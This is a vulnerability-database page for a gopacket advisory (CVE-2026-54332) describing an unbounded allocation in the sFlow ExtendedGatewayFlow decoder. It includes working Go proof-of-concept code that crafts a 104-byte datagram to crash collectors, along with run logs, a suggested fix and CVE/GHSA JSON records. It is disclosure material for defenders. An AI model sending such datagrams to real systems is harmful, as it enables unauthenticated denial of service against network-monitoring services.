Vulnerability-Lookup

GHSA-G6V3-7XMC-W563

Vulnerability from github – Published: 2026-07-28 16:17 – Updated: 2026-07-28 16:17

Summary

GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS

Details

Summary

The sFlow ExtendedGatewayFlow record decoder in github.com/gopacket/gopacket allocates a slice with make([]uint32, n) where n is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens before the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).

Root cause (file:line @ v1.6.0)

Two sinks in layers/sflow.go, both in the ExtendedGatewayFlow (record type 1003) decode path:

layers/sflow.go:1306 in decodeExtendedGatewayFlowRecord:

*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
eg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound
for j := uint32(0); j < communitiesLength; j++ { ... }

layers/sflow.go:1276 in decodePath (a helper called from the same record decoder):

*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
ad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound
for i := uint32(0); i < ad.Count; i++ { ... }

In both cases the make is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. communitiesLength = 0xFFFFFFFF requests make([]uint32, 4294967295) = 16,384 MB (16 GiB).

Reachability (remote attacker -> sink)

The registered LayerTypeSFlow decoder parses sFlow datagrams from the wire:

SFlowDatagram.DecodeFromBytes (sflow.go:302) -> SampleCount loop -> decodeFlowSample(expanded=false) (sflow.go:458) -> RecordCount loop -> record format 1003 SFlowTypeExtendedGatewayFlow (sflow.go:573) -> decodeExtendedGatewayFlowRecord (sflow.go:1284) -> sink at line 1306 (and line 1276 via the ASPath -> decodePath branch).

sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default) is equally affected.

Impact

Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).

Proof of Concept

This PoC is an end-to-end test against a real deployed sFlow collector. A minimal but realistic UDP collector (built on the public gopacket API, exactly as a real network-telemetry collector would be) runs inside a hard-capped 256 MB container; an independent client process sends a real malicious sFlow datagram over a real UDP socket; the collector process is then observed to die. A benign datagram is used as a negative control.

The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at the v1.6.0 tag, layers/sflow.go:1306).

Collector (real UDP sFlow collector)

// collector.go — binds a UDP socket and, for every datagram, builds a
// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives
// the registered sFlow decoder over the attacker-controlled bytes.
package main

import (
    "fmt"
    "net"
    "os"

    "github.com/gopacket/gopacket"
    "github.com/gopacket/gopacket/layers"
)

func main() {
    udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343")
    conn, err := net.ListenUDP("udp4", udpAddr)
    if err != nil {
        fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
        os.Exit(1)
    }
    defer conn.Close()
    fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr())

    buf := make([]byte, 65535)
    for {
        n, src, err := conn.ReadFromUDP(buf)
        if err != nil {
            continue
        }
        datagram := make([]byte, n)
        copy(datagram, buf[:n])
        fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src)
        pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)
        if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {
            fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n",
                dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))
        } else {
            fmt.Printf("[collector] no sFlow layer decoded\n")
        }
    }
}

Client (independent process, real UDP socket, no gopacket dependency)

The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying one ExtendedGatewayFlow (record type 1003) record and sets only its communitiesLength field. For the benign case it appends real community words plus the trailing LocalPref word so the record decodes cleanly.

// client.go — usage: client <addr> <communitiesLength> [--benign]
package main

import (
    "encoding/binary"
    "fmt"
    "net"
    "os"
    "strconv"
)

func u32(b *[]byte, v uint32) {
    t := make([]byte, 4)
    binary.BigEndian.PutUint32(t, v)
    *b = append(*b, t...)
}

func buildDatagram(commLen uint32, benign bool) []byte {
    var d []byte
    u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)
    u32(&d, 1)           // SampleCount = 1
    u32(&d, 1)           // sample format -> FlowSample
    u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)
    u32(&d, 1)           // RecordCount = 1
    u32(&d, 1003)        // record format -> ExtendedGatewayFlow
    u32(&d, 0)           // FlowDataLength
    u32(&d, 1)           // gateway address type = IPv4
    u32(&d, 0x08080808)  // NextHop
    u32(&d, 0); u32(&d, 0); u32(&d, 0)
    u32(&d, 0)           // ASPathCount = 0
    u32(&d, commLen)     // communitiesLength -> make([]uint32, commLen) sink
    if benign {
        for i := uint32(0); i < commLen; i++ {
            u32(&d, 0xABCD0000+i)
        }
        u32(&d, 100) // trailing LocalPref word
    }
    return d
}

func main() {
    addr := os.Args[1]
    commLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
    benign := len(os.Args) > 3 && os.Args[3] == "--benign"
    data := buildDatagram(uint32(commLen), benign)
    raddr, _ := net.ResolveUDPAddr("udp", addr)
    conn, _ := net.DialUDP("udp", nil, raddr)
    defer conn.Close()
    conn.Write(data)
    fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n",
        len(data), commLen, benign)
}

Run and observed result

The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.

Negative control (benign datagram, communitiesLength=4):

$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign
[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)

# collector log:
[collector] received 124-byte datagram from 172.18.0.3:56438
[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1
# collector status: Up (ALIVE); RSS flat at 1.5 MiB

Attack (single malicious datagram, communitiesLength=0xFFFFFFFF):

$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295
[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB
[client] datagram sent over real UDP socket

# collector log (verbatim):
[collector] received 104-byte datagram from 172.18.0.3:42284
fatal error: runtime: out of memory

runtime stack:
runtime.throw(...)
runtime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested
runtime.makeslice(...)
    /usr/local/go/src/runtime/slice.go:117
github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)
    /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306
github.com/gopacket/gopacket/layers.decodeFlowSample(...)
    /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574
github.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)
    /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321
github.com/gopacket/gopacket.NewPacket(...)
    /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767
main.main()
    /src/collector.go:54

# container final state:
Status=exited OOMKilled=false ExitCode=2

A single 104-byte UDP datagram, delivered over a real socket to a real gopacket-based collector, terminates the collector process. The Go runtime tries to sysMapOS 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied, and the runtime aborts with fatal error: runtime: out of memory (exit 2). The full attacker -> sink call stack is captured: collector.go:54 (gopacket.NewPacket) -> SFlowDatagram.DecodeFromBytes -> decodeFlowSample (sflow.go:574) -> decodeExtendedGatewayFlowRecord (sflow.go:1306) -> makeslice -> fatal OOM. The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled communitiesLength field is what drives the allocation.

The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.

Affected versions

github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same layers/sflow.go decode code are affected as well.

Suggested fix

Before each make([]uint32, n), validate n against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is remaining_bytes / 4; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing errors.New / fmt.Errorf error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:

decodeExtendedGatewayFlowRecord: reject when communitiesLength > uint32(len(*data)/4) before make([]uint32, communitiesLength).
decodePath: reject when ad.Count > uint32(len(*data)/4) before make([]uint32, ad.Count), and propagate the error to the caller.

I will follow up with a fix PR via the advisory's private fork.

References

sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).
CWE-770: Allocation of Resources Without Limits or Throttling.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gopacket/gopacket"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T16:17:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j \u003c communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i \u003c ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -\u003e sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -\u003e `SampleCount` loop -\u003e `decodeFlowSample(expanded=false)` (sflow.go:458) -\u003e `RecordCount` loop -\u003e record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -\u003e sink at line 1306 (and line 1276 via the `ASPath` -\u003e `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution \u2014 the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go \u2014 binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go \u2014 usage: client \u003caddr\u003e \u003ccommunitiesLength\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(\u0026d, 5); u32(\u0026d, 1); u32(\u0026d, 0x7f000001); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // SampleCount = 1\n\tu32(\u0026d, 1)           // sample format -\u003e FlowSample\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // RecordCount = 1\n\tu32(\u0026d, 1003)        // record format -\u003e ExtendedGatewayFlow\n\tu32(\u0026d, 0)           // FlowDataLength\n\tu32(\u0026d, 1)           // gateway address type = IPv4\n\tu32(\u0026d, 0x08080808)  // NextHop\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 0)           // ASPathCount = 0\n\tu32(\u0026d, commLen)     // communitiesLength -\u003e make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i \u003c commLen; i++ {\n\t\t\tu32(\u0026d, 0xABCD0000+i)\n\t\t}\n\t\tu32(\u0026d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -\u003e sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -\u003e `SFlowDatagram.DecodeFromBytes` -\u003e `decodeFlowSample`\n(sflow.go:574) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1306) -\u003e\n`makeslice` -\u003e fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength \u003e uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count \u003e uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory\u0027s private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.",
  "id": "GHSA-g6v3-7xmc-w563",
  "modified": "2026-07-28T16:17:26Z",
  "published": "2026-07-28T16:17:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gopacket/gopacket"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GoPacket\u0027s sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS"
}

CVE-2026-54332 (GCVE-0-2026-54332)

Vulnerability from cvelistv5 – Published: 2026-07-28 16:17 – Updated: 2026-07-28 17:28

Title

GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS

Summary

gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-28 17:28 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/gopacket/gopacket/security/adv…	x_refsource_CONFIRM
https://github.com/gopacket/gopacket/commit/76119…	x_refsource_MISC
https://github.com/gopacket/gopacket/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gopacket	gopacket	Affected: < 1.6.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54332",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-28T17:28:10.356746Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-28T17:28:21.158Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gopacket",
          "vendor": "gopacket",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T16:17:48.796Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563"
        },
        {
          "name": "https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc"
        },
        {
          "name": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
        }
      ],
      "source": {
        "advisory": "GHSA-g6v3-7xmc-w563",
        "discovery": "UNKNOWN"
      },
      "title": "GoPacket\u0027s sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54332",
    "datePublished": "2026-07-28T16:17:48.796Z",
    "dateReserved": "2026-06-12T19:23:22.316Z",
    "dateUpdated": "2026-07-28T17:28:21.158Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-G6V3-7XMC-W563

Summary

Root cause (file:line @ v1.6.0)

Reachability (remote attacker -> sink)

Impact

Proof of Concept

Collector (real UDP sFlow collector)

Client (independent process, real UDP socket, no gopacket dependency)

Run and observed result

Affected versions

Suggested fix

References

CVE-2026-54332 (GCVE-0-2026-54332)

Tags

Sightings

Nomenclature